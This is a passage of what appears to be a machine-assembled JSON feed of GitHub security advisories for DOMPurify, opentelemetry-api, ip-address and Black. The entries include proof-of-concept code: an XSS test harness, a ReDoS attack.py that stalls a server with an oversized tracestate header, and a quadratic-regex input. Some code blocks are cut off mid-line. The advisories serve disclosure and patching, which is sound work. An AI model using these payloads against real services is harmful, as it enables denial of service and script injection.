PARSER_MEDIA_TYPE:\"application/xhtml+xml\"\n# config that allow-lists + attributeName, renders the output into\n# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse\n# event and reports whether alert() fired. Also runs the same allowlist in\n# text/html mode as a control (DOMPurify strips attributeName there).\n#\n# usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via `npm pack`)\n# DOMPURIFY_JS=/path/to/purify.js ./poc.sh\n# CHROME=/path/to/chrome ./poc.sh\n# needs: node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.\n# exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error\nset -euo pipefail\nVER=\"${1:-3.4.16}\"\nWORK=\"$(mktemp -d)\"\ntrap 'rm -rf \"$WORK\"' EXIT\n\nif [ -z \"${DOMPURIFY_JS:-}\" ]; then\n (cd \"$WORK\" && npm pack \"dompurify@$VER\" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo \"npm pack dompurify@$VER failed\" >&2; exit 2; }\n DOMPURIFY_JS=\"$WORK/package/dist/purify.js\"\nfi\nif [ -z \"${CHROME:-}\" ]; then\n for c in \"$HOME\"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \\\n \"$HOME\"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \\\n \"$(command -v google-chrome || true)\" \"$(command -v chromium || true)\" \"$(command -v chromium-browser || true)\"; do\n [ -n \"$c\" ] && [ -x \"$c\" ] && CHROME=\"$c\" && break\n done\nfi\n[ -n \"${CHROME:-}\" ] || { echo \"no Chrome/Chromium found; set CHROME=\" >&2; exit 2; }\n\ncat > \"$WORK/poc.html\" poc \n\nEOF\ncp \"$DOMPURIFY_JS\" \"$WORK/purify.js\"\n# Same test inside a real XHTML document (no HTML XHTML context flip):\n# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.\nsed -e 's# poc # poc #' \\\n -e 's## #' \\\n -e 's#^ $# #' \"$WORK/poc.html\" > \"$WORK/poc.xhtml\"\n\ncat > \"$WORK/drive.js\" {\n buf += d; let i;\n while ((i = buf.indexOf('\\0')) >= 0) {\n const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);\n if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }\n else if (m.method === 'Page.javascriptDialogOpening') {\n dialogs.push(m.params.message);\n send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);\n }\n }\n});\nfunction send(method, params = {}, sessionId) {\n return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\\0'); });\n}\nconst sleep = (ms) => new Promise((r) => setTimeout(r, ms));\n\nAffected package ranges reported by GitHub:\ndompurify: <= 3.4.16","action":"GitHub lists first patched versions: dompurify: 3.4.17. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:24:23.000Z","updatedAt":"2026-10-22T16:24:24.000Z","regions":["Global"],"vendor":null,"product":"dompurify","stacks":["JavaScript packages (npm)","dompurify","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-c6gr-qvv4-5v3f","url":"https://github.com/advisories/GHSA-c6gr-qvv4-5v3f","type":"primary","publishedAt":"2026-10-22T16:24:23.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-c6gr-qvv4-5v3f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-c6gr-qvv4-5v3f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-c6gr-qvv4-5v3f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-c6gr-qvv4-5v3f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-c6gr-qvv4-5v3f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-c6gr-qvv4-5v3f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-c6gr-qvv4-5v3f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-c6gr-qvv4-5v3f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-c6gr-qvv4-5v3f, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114603","cveId":"CVE-2026-114603","aliases":["GHSA-xcq7-p3pf-p88h"],"kind":"vulnerability","title":"OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api","summary":"1. The header reaches the parser without any length check:\n\n```python\n# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57\ntracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # TraceState:\n pairs = {} # type: dict[str, str]\n for header in header_list:\n members: list[str] = re.split(_delimiter_pattern, header) # self._MAX_HEADER_LENGTH: # 7} characters {elapsed:6.2f} s growth when size doubles: {growth}\")\n previous = elapsed\n```\n3. Run `python poc_tracestate.py`.\n4. **What to observe:** the time grows by about **×4 every time the input size doubles** (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run:\n```\n 10000 characters 0.06 s growth when size doubles: -\n 20000 characters 0.26 s growth when size doubles: x4.0\n 40000 characters 1.04 s growth when size doubles: x4.0\n 80000 characters 4.13 s growth when size doubles: x4.0\n```\nReplace `\" \"` with `\"\\t\"` to see ≈1.6× longer.","detail":"## Summary\n`TraceState.from_header` splits the inbound W3C `tracestate` header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N²) CPU. A single unauthenticated request with a ~100 KB `tracestate` keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.\n\n## Affected component / version\n- Package: `opentelemetry-api` (pip) — `opentelemetry/trace/span.py` (`TraceState.from_header`), reached from `opentelemetry/trace/propagation/tracecontext.py` (`TraceContextTextMapPropagator.extract`).\n- Confirmed in `main` (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between.\n- Reachable with the default propagators (`OTEL_PROPAGATORS` defaults to `tracecontext,baggage`) from any server instrumentation that calls `propagate.extract()`, for example `opentelemetry-instrumentation-asgi`.\n\n## Details\n\n1. The header reaches the parser without any length check:\n\n```python\n# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57\ntracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # TraceState:\n pairs = {} # type: dict[str, str]\n for header in header_list:\n members: list[str] = re.split(_delimiter_pattern, header) # self._MAX_HEADER_LENGTH: # 7} characters {elapsed:6.2f} s growth when size doubles: {growth}\")\n previous = elapsed\n```\n3. Run `python poc_tracestate.py`.\n4. **What to observe:** the time grows by about **×4 every time the input size doubles** (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run:\n```\n 10000 characters 0.06 s growth when size doubles: -\n 20000 characters 0.26 s growth when size doubles: x4.0\n 40000 characters 1.04 s growth when size doubles: x4.0\n 80000 characters 4.13 s growth when size doubles: x4.0\n```\nReplace `\" \"` with `\"\\t\"` to see ≈1.6× longer.\n\n### B. Show that one request stalls a real server\nThis uses `OpenTelemetryMiddleware` from `opentelemetry-instrumentation-asgi` around a trivial ASGI app and the default `uvicorn[standard]` parser (httptools).\n\n1. Install: `pip install opentelemetry-api opentelemetry-instrumentation-asgi \"uvicorn[standard]\"`.\n2. Save as `app.py`:\n```python\nfrom opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware\n\nasync def app(scope, receive, send):\n await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": [(b\"content-type\", b\"text/plain\")]})\n await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n\napp = OpenTelemetryMiddleware(app)\n```\n3. Start the server in one terminal: `uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools`\n4. Save as `attack.py`:\n```python\n\"\"\"Send one oversized tracestate request and, while it is being handled,\nmeasure how long an unrelated request to the same server has to wait.\"\"\"\nimport socket\nimport sys\nimport threading\nimport time\n\nHOST, PORT = \"127.0.0.1\", 8000\nN = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000\nTRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\"\n\ndef get(path, extra=\"\"):\n s = socket.create_connection((HOST, PORT), timeout=120)\n s.sendall(f\"GET {path} HTTP/1.1\\r\\nHost: x\\r\\nConnection: close\\r\\n{extra}\\r\\n\".encode())\n start, data = time.perf_counter(), b\"\"\n while chunk := s.recv(65536):\n data += chunk\n return time.perf_counter() - start, data.split(b\"\\r\\n\")[0].decode()\n\nresult = {}\nextra = f\"traceparent: {TRACEPARENT}\\r\\ntracestate: a=b{' ' * N}x\\r\\n\"\nattacker = threading.Thread(target=lambda: result.update(a=get(\"/attack\", extra)))\nprint(\"idle /ping: %.3f s %s\" % get(\"/ping\"))\nattacker.start()\ntime.sleep(0.5) # let the attack request reach the server first\nprint(\"/ping during the attack: %.3f s %s\" % get(\"/ping\"))\nattacker.join()\nprint(\"attack request itself: %.3f s %s\" % result[\"a\"])\n```\n5. In a second terminal run `python attack.py 100000`.\n6. **What to observe:** the idle `/ping` answers in milliseconds, but a `/ping` sent half a second *after* the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:\n```\nidle /ping: 0.000 s HTTP/1.1 200 OK\n/ping during the attack: 5.909 s HTTP/1.1 200 OK TraceState:\n for header in header_list:\n- members: list[str] = re.split(_delimiter_pattern, header)\n+ members: list[str] = [m.strip(\" \\t\") for m in header.split(\",\")]\n```\n`_delimiter_pattern` (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with `_MAX_HEADER_LENGTH`. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty `TraceState`, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s.\n\n## Credit\n\nDiscovered and reported by SecDim Security Research\nsecdim.com | @secdim | security@secdim.com\n\n---\n\n**FROM MAINTAINERS**\n\n## Summary\n\n`TraceState.from_header()` in `opentelemetry-api` used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound `tracestate` headers.\n\nBecause W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request.\n\n## Impact\n\nServices accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed `tracestate` values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop.\n\nThe practical impact depends on the HTTP ser\n\nAffected package ranges reported by GitHub:\nopentelemetry-api: <= 1.45.0","action":"GitHub lists first patched versions: opentelemetry-api: 1.45.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:22:07.000Z","updatedAt":"2026-10-22T16:22:08.000Z","regions":["Global"],"vendor":null,"product":"opentelemetry-api","stacks":["Python","Python packages (PyPI)","opentelemetry-api","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","sourceUrl":"https://github.com/advisories/GHSA-xcq7-p3pf-p88h","asOf":"2026-10-22T16:22:08.000Z"},"epss":{"probability":0.00487,"percentile":0.41639,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114603&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xcq7-p3pf-p88h","url":"https://github.com/advisories/GHSA-xcq7-p3pf-p88h","type":"primary","publishedAt":"2026-10-22T16:22:07.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-xcq7-p3pf-p88h, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114603&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114603, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111997","cveId":"CVE-2026-111997","aliases":["GHSA-rxp7-6hxx-x8q5"],"kind":"vulnerability","title":"ip-address: Address6 matches a zone identifier in quadratic time ahead of its length limit, allowing a single long string to stall the process","summary":"`new Address6()` and `Address6.isValid()` strip a zone identifier with the pattern `/%.*$/` before they apply the 45-character length limit. When the string holds many `%` characters followed by a line terminator, the pattern is retried from every `%` and each attempt scans to the line terminator before failing, so rejecting the string takes time proportional to the square of its length. 10,000 `%` characters and a newline take 41 ms, 40,000 take 632 ms and 100,000 take 3.9 s of synchronous work. The same strings without the newline are rejected in under a millisecond.\n\nAn application that validates an attacker-supplied string with these methods can be stalled by a single long request. The input is rejected with the correct `AddressError`; the cost of reaching that rejection is the defect.","detail":"### Summary\n\n`new Address6()` and `Address6.isValid()` strip a zone identifier with the pattern `/%.*$/` before they apply the 45-character length limit. When the string holds many `%` characters followed by a line terminator, the pattern is retried from every `%` and each attempt scans to the line terminator before failing, so rejecting the string takes time proportional to the square of its length. 10,000 `%` characters and a newline take 41 ms, 40,000 take 632 ms and 100,000 take 3.9 s of synchronous work. The same strings without the newline are rejected in under a millisecond.\n\nAn application that validates an attacker-supplied string with these methods can be stalled by a single long request. The input is rejected with the correct `AddressError`; the cost of reaching that rejection is the defect.\n\n### Details\n\nThe constructor in `src/ipv6.ts` removes the CIDR suffix, then the zone, then checks the length of what is left:\n\n```ts\nconst zone = constants6.RE_ZONE_STRING.exec(address);\n\nif (zone) {\n this.zone = zone[0];\n\n address = address.replace(constants6.RE_ZONE_STRING, '');\n}\n\nconst longest = this.groups * 5 + 5;\n\nif (address.length > longest) {\n throw new AddressError(`IPv6 addresses are at most ${longest} characters.`);\n}\n```\n\n`RE_ZONE_STRING` is `/%.*$/`. It has no anchor at its start, `.` does not match a line terminator (`\\n`, `\\r`, U+2028 or U+2029), and without the `m` flag `$` matches only at the end of the input. For `%` repeated N times and then `\\n`, the engine starts a match at the first `%`, `.*` consumes the remaining `%` characters up to the newline, `$` fails there, and backtracking through every shorter `.*` fails too. The engine then starts again at the second `%`, and so on: N starts, each proportional to N. The length limit that follows rejects the string in constant time, after the scan has already run.\n\nThe line terminator need not be last. Any string in which many `%` characters precede a line terminator behaves the same way.\n\nEvery entry point that passes a caller's string to the `Address6` constructor is affected: `new Address6()`, `isValid()`, both arguments of `fromAddressAndMask()` and `fromAddressAndWildcardMask()`, and the prefix argument of `fromAddress4Nat64()` and `toAddress4Nat64()`. `fromWildcard()` rejects a `%` before it constructs anything, `fromURL()` admits only hex digits, colons and dots in a host, and `fromArpa()` checks the nibble grammar first, so those three are unaffected. `Address4` has no zone and is unaffected.\n\n### Affected versions\n\n` 64) throw new Error('not an IP address');\n```\n\nAffected package ranges reported by GitHub:\nip-address: <= 10.7.3","action":"GitHub lists first patched versions: ip-address: 10.7.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:19:39.000Z","updatedAt":"2026-10-22T16:19:41.000Z","regions":["Global"],"vendor":null,"product":"ip-address","stacks":["JavaScript packages (npm)","ip-address","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-rxp7-6hxx-x8q5","asOf":"2026-10-22T16:19:41.000Z"},"epss":{"probability":0.00315,"percentile":0.24136,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111997&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-rxp7-6hxx-x8q5","url":"https://github.com/advisories/GHSA-rxp7-6hxx-x8q5","type":"primary","publishedAt":"2026-10-22T16:19:39.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-rxp7-6hxx-x8q5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-rxp7-6hxx-x8q5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-rxp7-6hxx-x8q5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-rxp7-6hxx-x8q5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-rxp7-6hxx-x8q5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-rxp7-6hxx-x8q5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-rxp7-6hxx-x8q5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-rxp7-6hxx-x8q5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-rxp7-6hxx-x8q5, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111997&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111997, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114134","cveId":"CVE-2026-114134","aliases":["GHSA-cg8m-r9f2-5wm2"],"kind":"vulnerability","title":"Black: GitHub Action installs unvalidated required-version from pyproject.toml","summary":"The GitHub Action bundled with Black can read the version from `tool.black.required-version` if `use_pyproject` is set to True. This version is not validated and therefore can be used to execute untrusted code in the context of a victim's repository.\n\nThis is similar to the previous CVE-2026-31900. The value in `tool.black.required-version` is accepted as the version to be installed by the action without validation.","detail":"### Summary\n\nThe GitHub Action bundled with Black can read the version from `tool.black.required-version` if `use_pyproject` is set to True. This version is not validated and therefore can be used to execute untrusted code in the context of a victim's repository.\n\n### Details\n\nThis is similar to the previous CVE-2026-31900. The value in `tool.black.required-version` is accepted as the version to be installed by the action without validation.\n\n### Proof of concept\n\nReproduction requires a victim to use Black's GitHub Action with `use_pyproject: true`. The attacker would then issue a PR to the victim's repository with `pyproject.toml` edited so that Black points to a malicious repository.\n\n### Impact\n\nThis is a remote code execution vulnerability impacting users using the GitHub Action bundled with psf/black and using the `use_pyproject: true` setting.\n\nAffected package ranges reported by GitHub:\nblack: < 26.10.1","action":"GitHub lists first patched versions: black: 26.10.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:18:57.000Z","updatedAt":"2026-10-22T16:18:58.000Z","regions":["Global"],"vendor":null,"product":"black","stacks":["Python packages (PyPI)","black","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-cg8m-r9f2-5wm2","asOf":"2026-10-22T16:18:58.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cg8m-r9f2-5wm2","url":"https://github.com/advisories/GHSA-cg8m-r9f2-5wm2","type":"primary","publishedAt":"2026-10-22T16:18:57.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API 